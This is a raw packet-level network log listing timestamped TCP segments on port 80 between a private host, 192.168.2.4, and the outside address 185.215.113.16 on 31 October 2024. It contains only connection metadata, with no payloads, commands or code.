Oct 31, 2024 03:03:29.539700985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539854050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539865017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539875984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539886951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539896011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539900064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539907932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539912939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539920092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539931059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539942026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539952040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539954901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539962053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539967060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539983034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.539983988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.539994955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540005922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540014982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540021896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540030956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540031910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540041924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540050030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540052891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540064096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540076971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540086031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540093899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540131092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540225029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540235996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540241003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540251017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540260077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540266037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540271997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540277958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540287971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540291071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540301085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540301085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540314913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540328979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540332079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540359974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540373087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540380955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540388107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540399075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540410995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540410995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.540431976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.540448904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.544434071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544451952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544462919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544533014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544536114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.544573069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.544684887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544697046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544708967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544713974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.544747114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.544758081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545180082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545198917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545234919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545247078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545424938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545469999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545500994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545546055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545675993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545723915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545732021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545773029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545793056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545804977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545815945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545828104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.545842886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545869112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.545869112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.546308994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.546355963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.546376944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.546423912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.546601057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.546616077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.546627045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.546638966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.546647072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.546664000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.546696901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.547061920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547072887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547082901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547097921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547102928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.547110081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547122955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547137022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.547168016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.547179937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.547811985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547822952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547833920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547868967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.547873974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547885895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547895908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547907114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.547918081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.547955036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.548655987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.548676014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.548686028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.548700094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.548707008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.548712969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.548726082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.548753977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.575586081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.575618982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.575651884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.575664997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585061073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585118055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585150957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585201025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585233927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585287094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585316896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585326910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585340023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585377932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585396051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585427999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585460901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585475922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585532904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585567951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585587978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585623026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585671902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585675001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585705042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585738897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585757017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585772038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585808039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585820913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.585836887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.585880041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.628870010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.628922939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.628961086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.628987074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.653451920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653525114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653537989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.653564930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653599977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653611898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.653636932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653671026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653688908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.653707027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653742075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653755903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.653775930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653812885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.653820992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.694473028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.694530964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.694560051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.694566965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.694622040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704266071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704320908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704363108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704370022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704437017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704482079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704505920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704555988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704590082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704612017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704622984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704657078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704669952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704689980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704722881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704737902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704756975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704792023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704802036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704824924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704859972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704869986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.704895020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704931974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.704941034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.744992018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.747514009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.747570038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.747603893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.747629881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.772207022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772260904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772285938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.772330046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772363901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772397995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772398949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.772465944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772505045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.772517920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772552013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772573948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.772584915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772619009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772640944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.772651911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772685051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772702932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.772718906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772752047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.772762060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.813339949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.813375950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.813400984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.813411951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.813465118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823107958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823160887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823196888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823224068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823247910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823297977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823304892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823368073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823401928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823435068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823438883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823473930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823483944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823504925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823549032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823555946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823589087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823621988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823636055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823676109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823724985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823728085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823757887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823791027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823803902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823827982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823860884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823877096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823896885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823925018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823951960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.823959112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.823992014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.824007034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.866363049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.866424084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.866447926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.866456032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.866489887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.866513014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.891285896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891356945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.891379118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891417980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891452074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891464949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.891486883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891521931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891535044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.891556978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891607046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.891611099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891647100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.891693115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.891697884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.892059088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.892091036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.892105103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.892126083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.892158985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.892163038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.932270050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.932287931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.932298899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.932332039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.932348967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942080021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942095041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942111015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942137003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942203045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942214966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942225933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942248106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942261934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942306042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942317963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942327023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942334890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942357063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942358971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942368984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942379951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942383051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942392111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942404032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942435026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942449093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942488909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942497969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942507982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942527056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942538977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942574024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942590952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942605019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942615032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942624092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.942626953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.942647934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:29.985541105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:29.985569954 CET	80	49744	185.215.113.16	192.168.2.4
